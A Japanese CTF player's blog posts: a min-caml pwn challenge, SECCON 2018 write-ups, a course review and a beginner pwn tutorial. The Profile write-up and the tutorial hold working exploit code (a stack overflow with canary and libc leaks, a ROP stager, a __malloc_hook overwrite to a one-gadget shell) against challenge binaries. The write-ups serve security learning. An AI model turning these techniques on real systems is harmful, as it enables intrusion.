min-camlのプログラムからシェルが取れるか?

問題文

副作用も、libcもいなくなったとき残るのは、型安全で純粋な素晴らしい世界のはずだった......

nc external.pwn.ctf-day3.tsg.ne.jp 31000

接続すると、min-camlのプログラムをサーバーに提出でき、サーバーはmin-camlコンパイラコンパイルして実行をしてくれます。シェルを取れるようなプログラムを提出してフラグを得てください。ただし、min-camlコンパイラには問題を成立させるための以下に示すパッチが入っています。

パッチの概要

  • glibcを呼び出すような関数をlibmincaml.Sから削除
  • stub.cをglibcを用いないように書き換え
  • Arrayの代入構文を削除

!!追記!!

やや僕の想定したものとは異なる方法で解けることが分かり、せっかくなのでさらにパッチを入れる自己満足をしました。具体的にはArrayのGetの構文も消しました。

nc external.pwn.ctf-day3.tsg.ne.jp 32000

コンテストサイト

駒場祭のときのシステムを借りました(くっきー さん、さとすさん、ありがとうございます)

https://ctf-day3.tsg.ne.jp/

問題関連ファイル

上のコンテストサイトからもダウンロードできますが、以下に添付します

https://gist.github.com/moratorium08/cb5a3de6d8249c512fb26b433955d3fc

補足

この投稿は、ISer Advent Calendar 2018 の2日目として書かれました。 昨日の記事はjoeさんのPolicy Based Data Structures でした。

理学部情報学科では、世に言う「CPU実験」で、独自アーキに対してプログラムをコンパイルするために、コンパイラを作るのですが、このときベースとなるのが、住井英二郎先生が作った min-caml であり、このコンパイラの詳細について(無駄に?)詳しくなります。まぁもっともフルスクラッチしたり、LLVMしたりしている人がいるわけですが。

実験をやっているうちに、いくつかpwnとして問題にできそうな話を考えたんですが、ところでmin-camlというマイナーなものを使って問題を出しても基本需要が無いということで、理学部情報学科のアドベントカレンダーで供養しました。

アドベントカレンダーが埋まっていなければ、23日くらいにwriteupを書く記事を出します。

暇があったらぜひ解いてみてください(フラグが取れたら、上のコンテストサイトにぜひ投稿してください)

seccon quals 2018

結果

2位

writeup

Runme

winバイナリです。IDAを開きます。true/falseを計算する関数を見つけます。その関数をたどっていくと、パスを一文字ずつ比較していく関数が連なっていることがわかります。文字をくっつけて終わり

Special Instructions

moxieという謎アーキ。結論からいえば、objdumpするだけだったが、試行錯誤的にはmoxieのqemugdbを入れて実行をして、拡張オペコードとして、xorshift32のseedを設定する命令と値を計算して返す命令があることがわかるので、gdbscriptを使って自動で実行できるようにした。

はずだったが、qemu remote debugがバグってんのか、gdbがバグってんのかしらんけどsetでpc以外のレジスタが書き換えられなかったので、結局自分でdisasmしてpythonで答えをだした。

せっかくgdbscirptでやや非自明なコードを書いたので今後のためにも供養しておく

target remote localhost:1234
b *0x154a
command
    set $pc=0x154c
#continue
end
b *0x1480
command
  set $pc=0x160c
end
set *0x1c60=2463534242
define get_value
  set *0x1c60=(*0x1c60) ^ (*0x1c60 << 13)
  set *0x1c60=(*0x1c60) ^ (*0x1c60 >> 17)
  set *0x1c60=(*0x1c60) ^ (*0x1c60 << 15)
  set $r0=*0x1c60
  set $pc = 0x1550
  print $r0
end
b *0x154e
command
    get_value
end

Profile

pwn。x64のC++バイナリ。Name/Age/Msgを最初に入力し、後からMsgを更新できるという機能を持つ。

std::stringの正しい仕様は知らないが、少なくとも問題のバイナリでは、15bytes以下の文字列(末尾の\x00を入れて16bytes)はスタックに入るようで、前から順に「bufferのポインタ」、「文字列の長さ」、「文字列バッファ」が作られる(知らんかった)。

ところで、このバイナリは、Msg更新の際に、なぜかc_strを使って、バッファを取り出して、malloc_usable_sizeを用いて、長さを確認したのち、その長さ分だけreadするような関数を作って用いている。

このとき、c_strバッファがスタックにあると、未定義かどうかわからないが、とても大きな値をmalloc_usable_sizeが返すので、バッファオーバーフローが起こる。オブジェクトは、メッセージ関数の下の方にあるので、オブジェクト末尾のcanaryやfreeされるポインタのアドレスを破壊しないように気をつけつつ、リターンアドレスを書き換えれば良い。

以下回答スクリプト

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "profile.pwn.seccon.jp"
    port = 28553
    rce = 0x4526a
    libc_offset = 0x20740 +  240
else:
    host = "127.0.0.1"
    port = 3001
    rce = 0x4526a

    # 0x7f63a7c09830 <__libc_start_main+240>:   0x31000197f9e8c789
    libc_offset = 0x20740 +  240

def main():
    r = remote(host, port)
    def menu(select, verbose=False):
        s = r.recvuntil('>> ')
        print(s)
        r.sendline(str(select))

    def update(msg):
        menu(1)
        s = r.recvuntil('>> ')
        print(s)
        r.sendline(msg)

    def show():
        menu(2)
        x = r.recvuntil('\n').replace('Name : ', '')
        y = r.recvuntil('\n').replace('Age  : ', '')
        z = r.recvuntil('\n').replace('Msg  : ', '')
        return (x, y, z)

    def exit():
        menu(0)

    def get_value():
        (x, y, z) = show()
        addr = u64(x[:8])
        return addr


    def introduce(name, age, msg):
        s = r.recvuntil('>> ')
        r.sendline(name)
        s = r.recvuntil('>> ')
        r.sendline(str(age))
        s = r.recvuntil('>> ')
        r.sendline(msg)
    msg  = 'ABCDEFGHIJKLMNO'
    name = 'ABCDEFGHIJKLMNO'
    introduce(msg, 1, name)
    #print('attach please. ok?')
    #raw_input()

    # add one byte.
    msg += 'A'

    update(msg+ '\x60')

    addr = get_value()
    if (addr & 0xff) != 0x60:
        print('miss...')
        r.close()
        main()

    print('name addr... {}'.format(hex(addr)))
    sleep(1)

    canary_addr = addr + 0x28
    update(msg + p64(canary_addr))
    canary = get_value()
    print('canary ... {}'.format(hex(canary)))

    base_addr = addr + 0x48
    update(msg + p64(base_addr))
    libc_base = get_value() - libc_offset
    print(hex(base_addr))
    print(hex(libc_base))

    ret2addr = libc_base + rce
    print('ret addr ... {}'.format(hex(ret2addr)))

    dummy = 'ABCDEFGHIJKLMNOPQRSTUVWX'
    buf = dummy + p64(ret2addr) + '\x00' * 0x40 # for one gadget rce
    update(msg + p64(addr + 0x10) + '\x00' * 0x20 + p64(canary) + buf)

    show()

    exit()

    r.interactive()
    print('finish...')

main()

理学部情報科学科の3S

なんとなくまとめてしまった。簡単な復習です。忘れないうちに。

全体としては、理情の授業は「コンピュータのシステムや"計算"という概念をあらゆるレイヤーで理解する」ことを目的に組まれているような感じで、「何かを作る」とか「何かを解く」というよりも「コンピュータ」とか「計算という概念」そのものが好きという人向けという感じがある(ので僕はとても好き)。まぁコンピュータ・サイエンスっていうのはそういうものなんだろうか。

課題そのもののネタバレは無いはず(多分)。

実験・演習

月:システムプログラミング実験

Operating SystemレイヤーやOperating Systemの一個上のレイヤーレベルの話を実践する実験。

第一回

シェルスクリプトを書くやつ。もう覚えてない。まぁシェルスクリプトを書けば良いはず。

第二回

Linuxシステムコールを実際に呼び出してみる回。getpidのシステムコールを生で呼び出すと遅いが、libcを介すると速いという話や、簡単なcpを作ったりwcを作ったり、最後はls -lを作る。結構綺麗に作れたりする。

ls自体は、自分がパイプでどこかにつながれているか、出力がすぐにターミナルに吐き出されるかで、色付けをするかどうかを変えているみたいな小話があった(課題とは全く関係ないが)。

それをするには、isattyを使えば分かる ようである。まぁもっともぼくはlsに色をつけなかったが。

https://stackoverflow.com/questions/1061575/detect-in-c-if-outputting-to-a-terminal

第三回

マルチスレッド回。マルチスレッドで遊びます、終わり

第四回

ネットワーク回。tcp/udpで遊びます、終わり。実際ココらへんは際どい話が多くて実際もう一度やれと言われても綺麗にできる感じがしないので、正しい理解にはもう少し精進が必要そう。

正直四回まではあんま真面目にやってなかった気が(ほんまか)。ちょうどこのあたりで僕のPCが壊れた。

第五-六回

シェルを作る。とくにfg, bg, jobsなどのジョブ管理コマンドが正しく動くように実装する必要がある。

シェルは、お互いに壊しあうのが結構楽しいようで、その中で出てきた一つcatをn個パイプでつなげた

cat | cat | cat | .. | cat

その中の右端でも左端でもないようなcatのプロセスをkillしたときの挙動というのが比較的面白かった(かつ課題の大筋とは関係ない)のでメモをしておくと、殺されたcatの左側はwriteしようとしたタイミングでSIGKILLを受け取り、これはデフォルトで終了するので、たかだかn回のenterによってすべての左側のcatプロセスは終了する。一方右側のcatは単純にEOFを受け取ることになり、終了する。

なので、パイプでつながれたcatはどれか一つ死ぬと、連鎖的に死んでいくことになる。かなしい

第七回

Linuxシステムコールを作る回。まぁ人生で一度くらいLinuxカーネルを自分のPCでコンパイルするくらいしてもよさそう。システムコール作るのはその余興

第八-十回

ベアメタル回。OSに頼らずにコードを書くことが求められる。livaさんが用意してくれた部分が多いのでややまだ理解の至らない部分が多い(なぜ、hoge番地でMMIOできるようになっているか?とか、そもそも例外ハンドラ部分は、「ハンドラ」を書いただけであって、GDTいじったりIDTいじったりみたいなことはしなかったりなど)。

しかし、普通やらないであろう実験であることは確かで楽しいものではあった。個人的には、最初の方の四回半分にしてこっち長くしたほうが理解度的に幸せになれそうな感じがあった(ほんまか)

やることは、簡単なページング、DMAによる時間の計測および画面にデータを出力、TSCとの比較、割り込みとspin lockの実装をする。

spin lock、原理自体は結局CPU潰して待つというだけなんだが、結構奥が深い用で、複数コアで来た順にロックを獲得できるような仕組みというのはいろいろあるようである。

まず本当に愚直に実装する場合は、単に一つのbitでロックの状態を管理し、atomic命令によってTestAndSetをすればよいのだが、これだと順序が保たれない。すなわち「横入り」されてしまうかもしれない。

これを回避するためにticket lockというのがある。これは、銀行とか病院の「番号札」のような仕組みで、自分の番号札になるまで待つ、ロックを解放する際に値を1増やす、のようなアルゴリズムを考えることができる。

これでもう十分な気もするわけだが、複数のCPUが同時に特定のメモリ領域を書き込み・読み込みすることがticket lockでは要求される。これはキャッシュロックの頻発や、キャッシュラインのプロセッサ間での転送(cache line bouncing)が多発することになり、パフォーマンスに影響する。

これを防ぐために、単純に「待っている人の数」だけ待ち時間を増やすbackoffテクニックというのがある。またこのような単純なアプローチではなく、ロックの構造自体をCPU一つ一つに与えて、それぞれのCPUはその構造を監視する。この構造はリンクリスト的になっていて、自分が解放された際には、次にロックを獲得するものがいれば、隣の人のフラグを立てる、というようにする
このようにすることでcache line bouncingを極力抑えることができるようになる。

spin lockといっても非常に低レベルな問題によって工夫の仕様があるんだなあという気持ちになる

参考
https://lwn.net/Articles/531254/
https://lwn.net/Articles/590243/

なんか色々書いてしまった

第十一回

ドライバ作成回もとい生のEthernetパケットをいじる回である。ARP, IPv4, UDP, DHCPなどをいじって楽しむ。

課題的には、ドライバの仕様書を読んで理解しような っていうフェーズの部分がとてもエスパーのように感じたが、しかし全体としては僕は好きだった(あまり触れたことがない部分だったため)。

ARPとかは目で見れば読めるようになった(ほんまか)気がする。


f:id:moratorium08:20180820180136p:plain


火:関数論理型実験

名前の通り関数型言語OCamlと論理型言語Prologについて学ぶ実験。驚くべきことにこの実験でRustも勉強してしまった。

ところでこの実験のおかげでTeX力が1あがった(0から)

1-4回

OCaml自体で遊びます。Church数をOCamlで書くと、predに型がつかなくなってしまうので困りますね、という話や、副作用周りの話、Curry Howard isomorphism周りの話、モジュールを使ったGADT、リストモナドの"別実装"など。FLに一貫して言えるが、こういう発展的な"ネタ"は素直にOCamlを学んでいるときには見えにくい話なので、こういうの良いな〜っていう感じである。

5-9回

OCamlインタプリターを作ります。lex/yaccから始まり、MLの基本機能を実装し、最後はlet多相を実装します。最後rank 2 多相を実装するというのがありましたが、残念ながらできていない。

let多相は、TAPLの22章Type Reconstructionあたりを実装する感じで、22.7のp334にある例

```ocaml
let x = fun x -> (x, x) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
x (fun x -> x);;
```
という式は少なくともOCamlバージョン4.06.1では、型がつかない。これは型がつかないのではなく、型推論が「終わらない」。これに型がつく(推論が生きている時間で終わる)ように拡張したりする。

unifyの回は、let多相が案外コーナーケースがあるらしく、意外と正しく実装するのは難しいらしい。

10-12回

最初にPrologで遊びます。tic tac toeを完全解析するような述語を作ったりする。

そして、Prologを作ります。なんとなく公開する(まぁprolog処理系はいくらでも書きようがありそうなので)。

https://github.com/moratorium08/pyoyog

基本的に後半はPrologが論理的におかしい挙動をするという話が行われる。Prologがどのように動作するかというのはWikipediaのSLD導出を見たほうが良いが、Prologの実装が必ずしもそれに沿ってないというのが問題となる。

これの最たる問題として


のような問題がある。これらを解決したProlog風処理系を作るのが課題になる。

13回

オセロの思考ルーチンを作る課題。これはOCamlでもHaskellでも P r o l o gでも良い。そしてなぜかRustでも良かった(許された)(なぜ?)。なので、Rustで書いたのだが、割とRustの勉強になってよかった。nomはlex/yaccになれた人間がいきなり使うと割としんどかったが。

書き始めるとわかるが、OCamlのint型は63bitで、64bit目はGCのために使われるらしい。しかしこの性質が今回の課題ではやや仇で、オセロのbitboardを実装する際できれば64bitの整数が欲しくなる。もちろんより処理の遅くなった64bit型整数というのがOCamlにも存在するが、bitboard上の演算は、速いほうがうれしそうという理由でRustで書いたほうが良いという話があった

ただ、Rustの場合、サーバーとの通信を行うクライアント側のコードなども自分で書く必要があり少ししんどかった。

あとあんまり強くならなかったので悲しい。評価関数学習はそんなに簡単ではなかった。

木:ハードウェア実験

詳細に書くのがしんどくなってきたので、以降適当にまとめる

ハードウェア実験はVerilogとVivadoに""あいさつ""するような内容。少なくとも理情で学ぶ言語たちに比べてクセが強いのでお気持ちを理解するような感じで、多分秋のCPU実験に備える、ないしコア係にはならんぞの気持ちを高める。

これしばしばVivadoの仕様(バグでは?!)みたいなのものに引っかかってしんどい気持ちになることがあり、よく引っかかったのが、

  • 代入時の左右のビット数違い
  • 勝手に最適化

の2つである。後者はとくにしんどく、ちゃんと回路がどのようにマッピングされたかを結局のところ見ましょうね〜という話らしい。ひえ〜

具体的な内容は前半4回ほどで、簡単な加算器とかフリップフロップをブレッドボードで作るやつをやった後に、残りでVerilogで回路を書いて、FPGAで動かす、というのをする。内容は、整数の割り算回路、浮動小数点数加算回路、UARTによる通信、AXI4バスのデータ転送回路である。最後のデータ転送あたりは、CPU実験が透けて見える内容になっていて、転送命令のFetch/Decode/Exec/Writeの工程をパイプライン化して速くするような課題をやった。

多分3Sでは一番の低レイヤーだった。

金:演習1

離散数学と情報論理の演習である。隔週で交互に行う。それぞれ単位を取得するために問題の解答を発表する必要があるので、少し盛り上がる。基本的には、問題を解く授業で、それぞれグラフ理論の問題と論理の問題が配られる。

必須課題は必須(単位をとるために)であるが、それ以外に配られる問題も、離散数学・情報論理、両方について"すべての問題を理解する"ことが期待されているが、割とかなりの量の問題があるので割と厳しい。

先生とTAの方々がかなり熱心に見てくださるので、色々とアツい感じの授業だった。

講義

講義は1限が無い、出席をほとんど取らないので期末試験でできれば(基本的に)良いという感じなのがとても良い。
実際演習は(真面目にやると)少し重めなので、授業出ずに課題やっていることもあった(良いことかは知らないが)

月:Operating System

OSの各種仕組みに関して概観する授業。マルチプロセス・マルチスレッドの周りのよくある話(Race Condition, Dead Lockとかそういう話)、CPUスケジューリングの話(FCFSからRate Monotonic, EDFおよびマルチプロセスの際のスケジューリング問題)、仮想記憶の話やPage Fault時のReplacementアルゴリズム周り(LRUやLRUの近似アルゴリズムについて)、IOとファイルシステム・権限周り、最後にバッチシステムや並列分散コンピュータ・メニーコアなどの話が非常にざっくりあった。なんか最後のメニーコア・GPGPUあたりの話が先生的には好きそう。

スライドが包括的で良いが、しかししばしばおかしなところがあったりしてfuga、まぁお気持ちで読めるが。授業にはあまり行かなかった。

火:離散数学

グラフ理論の話。グラフの基本的な話から、フロー、線形計画法・単体法、マトロイドの話が、双対性を軸に進む。

内容が半分競プロで、まぁフロー周りとかは完全に競プロでは。単体法の計算がしんどい。マトロイド周りはどちらかというと、"数学"という感じで、あまり深くやってないのでなんとも言えないが、触りをやった。あと、""予告問題""として、「polymatroidを用いて、Kruscalアルゴリズムの妥当性を証明する問題」を出そっかな〜って言っていたのでオッってなったが出なかった(何)。

あまり真面目に授業に出ていなかったのでなんとも言えない・・・。

水:情報論理

計算可能性、等式論理、命題論理、述語論理と最後にゲーデル不完全性定理周りについて。教科書が英語。

内容が非常に広いので僕はどれほど理解できているかはわからない。ある意味初習論理 という感じで、多分反復深化が求められている。

計算可能性については、primitive recursive functionから始まり、recursive functionとwhile プログラムの等価性の話や、universal recursive functionとhalting problem周りの話、そしてRecursively Enumerable Predicateの話が続く。

各論理は、syntaxとsemanticsそれぞれについて議論した後に、健全性・完全性の話をする。特に、述語論理の完全性では、Herbrandの定理周りの話を(他の話題に比べて)深くやって、ある程度真面目に議論していた(と思う)。
まどかちゃんコンパクト性ss compact.pdf - Google ドライブ などが面白かった(ほんまか)。


木:言語処理系

コンパイラ周りの理論の授業。字句解析から始まり、LL・LR文法、型周り、中間コード生成と最適化、レジスタ割当などの話。二村射影も。

基本的に
[:タイガー本] は、https://www.amazon.co.jp/Modern-Compiler-Implementation-Andrew-Appel/dp/0521607647に沿った内容ではあるが、スライドが良いし、先生が良い(個人的な感想)。3S講義では一番好きだった。この授業は全部行ったと思う。

金:計算機構成論

コンピュータ・アーキテクチャの授業。最初の方は、2Aの計算機システム・ハードウェア構成法との被りを感じる部分もあったが、パイプライニング周りの話やOut of Order・スーパースカラ周りの話は僕が知らない話だったので面白かった。もっともあまり授業には行っておらず、教科書を読んでいただけなのでhoge

まとめ

最後のほう少し書くの疲れてしまった。

あけましておめでとうございます

年賀状を書きました(さっき)

とてもやっつけです。http://bit.ly/befunge18で実行できるので試してみてくれるとそれはとってもうれしいなって。


f:id:moratorium08:20180101162518p:plain


今年もよろしくお願いします。

2017年の総括

 毎年振り返っているので今年も振り返ろうかなと思います。そうはいっても2016年の総括を書いているのが本当に先週くらいかな?と思うほど1年が過ぎていくのが早かったので少々恐ろしい気持ちです。最近は分身を体得すべく努力しています。

  以下ポエムです。

と思ったんですが、ポエムを書く気力がなかったのでやめます。気の赴くままに過ごしていました。来年も気の赴くまま好きなことをして嫌いなことはしないモラトリアム期間を過ごして行きたいなと思います(ほんまか?)

pwnに関する初歩的ないくつかの手順を確認する

最近TSGの人が少しpwnに興味を持っている?(要出典)らしいのですが、世の中のwriteupを見ても何やってるのか分からへんみたいな話があり、僭越ながら僕のやっていることを一つずつスクリーンショットを交えつつまとめてみたいなと思います。

もっとも、人の書くモノによって得られる理解は書いた人の理解の部分集合程度という話は当然あるわけで、より多くの理解を得るには、katagaitai ctf勉強会資料とか、potetinsenseiのlive CTFとかみると良さそうではあります。

ネタは先日のSECCON CTFのpwn100, pwn200です。

もちろん以下の手順は不要なものを排除しているため、実際に僕はこれほど効率的には解けてないです。

pwn100

Stack OverflowからROPという典型ではありますが、バイナリがGoです。

実行してみる

enter image description here

二つ文字列をechoしているようなプログラムっぽいです。試しに、長い文字列とか%sとかをやってみます。 enter image description here

落ちました。どうもどっかがオーバーフローしているようです。

どうも下のバッファーだけ落ちるようです

Disassemlerで開きます

enter image description here

大量のProcが並んでいてつらいですが、みるべき部分は、main.mainだけです。そうはいってもgolangバイナリは読みにくいです。

実は今回バイナリをそれほど詳しく読む必要はないのですが、どんな関数が呼び出されているのかくらいは確認します。

enter image description here

するとこの怪しそうな部分が見えます。このmemcpyはgolangの関数ではないようです。ここでオーバーフローが落ちるんだろうなと推測できます。

頑張ってeipをとる

さっき出ていたエラーを詳しく見ていきます。

enter image description here

すると、0x4141414141414141バイトのメモリを確保しようとしてデカすぎると言われているようです。困ったのでオーバーフローする文字列をNULL文字にしてみます。

enter image description here

すると、pc=0で落ちました。これはつまり、オーバーフローしたバッファから取られたアドレスがeipに入ったことを意味しています。つまり、うまいアドレスを設定すれば、好きなアドレスに飛ばすことができそうです。典型的なバッファーオーバフローからのreturnアドレスの書き換えです。

returnアドレスがスタック上のどこにあって、オーバーフローする文字列とのオフセットがどれくらいかというのはgdbなどを使って確認できますが、普通にこの程度のサイズだったら、落ちるか落ちないかで手で二分探索できて、下手なことをするより速い気がします。

実際に送り込むバイト数を500から縮めていくと、

enter image description here

408バイト送り込んだあとに好きなアドレスを送り込めば、eipがその値になることが分かります。

exploit

ではこっから何をすればいいでしょうか。直接/bin/shを呼び出せるような状況ではないので、なんらかの形で/bin/shを実行するシェルコードを送り込みたいです。そのためにROPをします。

今回libcはないですが、バイナリ自体がでかいのでこれを使います。しかもディスアセンブルされた結果をよく見ていくと、いくつかのgolangのsyscallラッパが存在することが分かります。

enter image description here

Golangバイナリの呼び出し規約は普通のx64のバイナリと異なり、引数をスタックの上に積んでいけば良い(ということは上のディスアセンブルしている過程でわかる)ので、これを使います。仮に、標準的なROPをしようと思うと、引数をレジスタに格納するために、pop rdiなどを駆使して頑張る必要があり、今回よりもう少し気合が必要になります。

今回は、Stagerと言われるテクニックを使います。Stagerとは、短いROPで新しい実行可能領域を作り、そこにシェルコードを流し込んで、そのシェルコードを実行するテクニックです。今回のイメージは次のような感じです

ROPを組み立てる

実際にROPを作っていきましょう。疑似コードは次のような感じです

mmap(addr, 0x1000, 7, 34, -1, 0)
read(0, addr, len(shellcode))
shellcode()

mmapやreadのアドレスは、PIEでないため固定なので、Disassemblerから分かります。

enter image description here

enter image description here

このアドレスをretに当たるように配置するとともに、引数をスタックに積む必要があります。ところで、readを呼び出す前にmmapのために乗ったスタック上の引数より下にretが動くようにrspを下に動かすようにする必要があります。 このような命令列を探すためにはrp++というツールを使います

$./rp-lin-x64 --file=baby_stack --unique --rop=5 | grep "add rsp"

のように実行すると、 enter image description here

色々見つかりますが、いい感じのものを採用します。

これを元にROPを組み立てます。

shellcode = '\x00' * 408
shellcode += p64(mmap_addr)
shellcode += p64(add_rsp_0xe0) # dummy
shellcode += p64(addr_stage) #arg0
shellcode += p64(0x10000)
shellcode += p64(7)
shellcode += p64(34)
shellcode += p64(0xffffffffff)
shellcode += p64(0)

shellcode += p64(1) * 22 # dummy
shellcode += p64(read_addr)
shellcode += p64(addr_stage) # retaddr
shellcode += p64(0)
shellcode += p64(addr_stage)
shellcode += p64(len(get_sh_code))

enter image description here

スクリプト

以上の流れをスクリプトにまとめると

こんな感じになります。

実際に実行してみると、

enter image description here

フラグが取れることが分かります

pwn200

普通のバイナリで、またバッファオーバーフローが起こります。

実行してみる

enter image description here

enter image description here

enter image description here

Disassemblerで開いてみる

今度のバイナリは、割と真面目にバイナリを読む必要があります。

候補者リストの構造

今回のバイナリで重要となるのが、Heapの上に形成される候補者リストの構造です。 疑似的には、候補Candidateの構造体は

struct Candidate {
  char *name;
  struct Candidate *next;
  int count;
}

のようになっているといえ、構造を図示すると

enter image description here

findlist

enter image description here

addlist

enter image description here

長くなるのでmainとvoteだけ見ます

main

まず、addlistを使って、TatsumiさんShinonomeさんOjimaさんを追加します。このうちOjimaさんはこのあと少し重要となります。

enter image description here

以下は、menuで入力された値で分岐するようになっています

enter image description here

vote

lvに2を代入します。これにより、新しくstandすることができなくなります。またこの部分で、var_18に1を代入しています。これはあとで分かることですが候補者に増やす票数です。

enter image description here

候補者一覧を表示するかを確認します。

enter image description here

表示する場合は、リストを順に辿っていきます

enter image description here

その後、名前の入力に移ります。ここで妙なのは、入力された名前が"oshima"であるかどうかで、処理が分岐される点です。

enter image description here

まずはoshimaさんでない場合を考えます。この場合は普通に、リストから入力された名前の人を探し、存在すればその人の票数を増やし、存在しなければ、invalidであることを伝えた上でinvalid votesを増やします

enter image description here

問題は、oshimaさんだった場合です。このとき、まずojimaさんがリストに存在するかを探します。このojimaさんは上のmainで見たように、実行の最初に追加されている人です。候補者を削除することはできないので、リストが壊れているかどうかを簡易的に発見する措置である(?)と言えます。

enter image description here

ちゃんとOjimaさんがいた場合(壊れてなければ存在する)は、「私はOshimaじゃなくてOjimaです」というよく分からない主張が走り、ユーザーにOjimaさんに変更するかどうかを問います。

enter image description here

実はこの部分に脆弱性があります。これは、この部分だけgetnlineの引数でbufferのサイズが0x30と与えられているためです。

そして、最後にyesと選んだ場合は、ojimaさんの票数を増やす処理があります。

enter image description here

そしてこのとき、見つけたfound_listとvar_18がバッファオーバーフローにより上書きが可能で、これにより任意のアドレスに1byte整数分だけplus/minusすることが可能になります。行こうこの脆弱性をついてフラグを取得することを目指します。

方針

任意のアドレスが書き換え可能ですが、checksecすると、Full RELROでGOTは書き換えられません。

enter image description here

実は競技中は何書き換えればええねんって感じで死んだ(は?)んですが、普通にmalloc_hookやio tablesにあるjump tableを書き換えるのが良いようです。今回はmalloc hookを上書きしてみようと思います。

また、kimiyukiさんのwriteupを見ていると、普通にlibc分かるとstackがleakできるんですねという気持ちになりました(不勉強なため知らなかった)。stackがleakできれば、retアドレスを書き換えたりできます。

malloc hookとは、ここによれば、デバッグ時に便利な機構らしく、普段はNULLになっていますが、ここに有効なジャンプ先を指定しておくと、mallocが呼ばれるたびにここに飛んでくれるというすごいやつらしいです。使ったことないのでそんくらいしか知りません。

逆にいうと、malloc hookに適当なジャンプ先を上書きしてしまえば、これでシェルが取れることになります。

具体的には

  • アドレスの最下位バイトを上書きすることによって、heapアドレスのリーク
  • GOTを使ったlibcアドレスのリーク
  • そしてmalloc hookにone gadget rceのアドレスを書き込み
  • 最後にlvを上書きして、再びstandを呼び出しmallocをさせる

の四つの手順を行います。

任意のバイト列を生成する

あまりかっこいいコードではないですが、趣旨は分かりやすいと思います。

def make(addr, frm, to, size=4, wei=0):
    addr -= 0x10
    f = []
    t = []
    real = f[:]
    for i in range(size):
        f.append(frm % 256)
        frm //= 256
    for i in range(size):
        t.append(to % 256)
        to //= 256

    # print([chr(x) for x in f], [chr(x) for x in t])
    if frm > 0 or to > 0:
        raise Exception("hoge")

    for i in range(size):
        if t[i] > f[i]:
            diff = t[i] - f[i]
            char = min(127, diff)
            diff -= char
            payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(char)
            vote('oshima', payload, False, True, show=False)
            if diff != 0:
                if diff == 128:
                    payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(1)
                    vote('oshima', payload, False, True, show=False)
                    diff -= 1
                payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(diff)
                vote('oshima', payload, False, True, show=False)
        elif t[i] < f[i]:
            diff = f[i] - t[i]
            char = min(128, diff)
            diff -= char
            payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(256 - char)
            vote('oshima', payload, False, True, show=False)
            if diff != 0:
                payload = 'yes\x00' + 'A' * 28 + p64(addr) + chr(256 - diff)
                vote('oshima', payload, False, True, show=False)
        addr +=1

上で示したように、任意のアドレスに対して、1 byte整数の加算(減算)が可能なので、渡されたアドレスの場所に対して1byteずつ差分を加減算する処理をしています。

heap address leak

ヒープアドレスをリークするには、OjimaさんなどHeapに配置される人のアドレスに関して、ヒープアドレスの上位はランダマイズされ、いつも同じではないのですが、下位アドレスがいつも同じになることを利用します。

また、アドレスはリトルエンディアンで配置されているため、オーバーフローをした場合は下位アドレスから順に上書きされていきます。

結論から言えば、Ojimaさんの下位アドレスを00に書き換えます。すると、Ojimaさんを指すはずのポインタはheap topを指すようになります。

enter image description here

すると上の図のように、「本来票数があるはずの場所」にTatsumiさんの名前文字列へのポインタがくるようになります。この値に0x20加算した値というのはちょうどShinonomeさんの先頭をさします。候補の構造体の先頭はHeap内にある文字列を参照しているので、これによりHeapのアドレスがLeakできます。

libc address leak

libcのアドレスをleakするにはGOTを利用します。今回書き込みはできませんが、読み込みは当然できます。そしてこの値は固定アドレスなので、決め打ちでlibcのアドレスを知ることができます。

どうすればよいかというと、上のheap leakでしたように、候補者の名前を書き換えます。そして、すでにheapのアドレスが割れているので、好きな人の候補の名前を上で用意した関数を使って書き換えることができます。

今回は、putcharのgotを使いました。GOTのアドレスはディスアセンブラを用いて確認できます。

enter image description here

今回は0x601f80に、Tatsumiさんの名前のポインタを書き換えました。

make(heap_base + 0x200,0, put_char_got, wei=1)
make(heap_base + 0x58, heap_base + 0x10, heap_base + 0x200)
put_char_addr = get_addr()

enter image description here

これによりlibcの中でのputcharのアドレスが分かります。libcの配置はランダムですが、libc内でのオフセットは一定なので、nmを使って、libc内におけるput_charのオフセットを調べます。

enter image description here

これによりlibcのbaseアドレスが分かります

libc_base = put_char_addr - put_char_libc

malloc hook overwrite

大詰めです。malloc hookをoverwriteします。まず、one gadget rceを検索します。僕はone_gadgetというツールを使います

enter image description here

四つほど見つかりました。まずはこれらをそれぞれ試して見て動くかなければ、その時は考えることにします(そして動きます。動かなければstackアドレス自体もlibcからleakができるので直接rsp+0x30になる値を0にしてしまうといったことができると思います)。

いくつか試した結果動くのは0xf0274にあるものでした。なのでこれを採用します。

enter image description here

malloc hookのアドレスはここです。これを書き換えます

make(malloc_hook, 0, rce_addr, size=8)

get sh

最後にmallocを呼び出してもらう必要があります。mallocは意外と条件によってはprintfの中から呼び出してくれたりして奥が深いようですが、今回はmallocを実際に呼び出すことができるので普通に呼び出します。

ただし、一つ問題があって、voteしてからだとstandすることができません。これは上で説明したようにlvが2になっているためで、これを1に戻します。lvはbssにあって固定アドレスです。

lv = 0x602010
make(lv, 2, 1, size=4)

最後に、mallocを呼び出すためにstandをすると無事シェルが取れます

stand("fugafuga")

最終的なスクリプト

以上をまとめたものが次のスクリプトです。

これを実行すると、

enter image description here

フラグが取れます。

終わりに

なんかこんなに長く書くつもりはなかったんですが、微妙に長くなってしまった。複数人でわいわいできるとたのしいので人々もたまにはCTFやりましょう(別にスプラトゥーンやっててもよいので)。

Brainf*ckを、直接実行可能バイナリにコンパイルした話

なんとなくカレンダーを埋めたいという衝動に駆られるので記事を書きます。

おととい書いたELFを書く話によって、僕らは事実上任意の機械語列をELFにすることができるようになりました。次は、当然任意のBrainf*ckで書かれたプログラムをコンパイルできるようになるべきです。

つまり今度の目標は、「与えられたBrainf*ckのプログラムを実行可能なELFに変換する」ということになります。

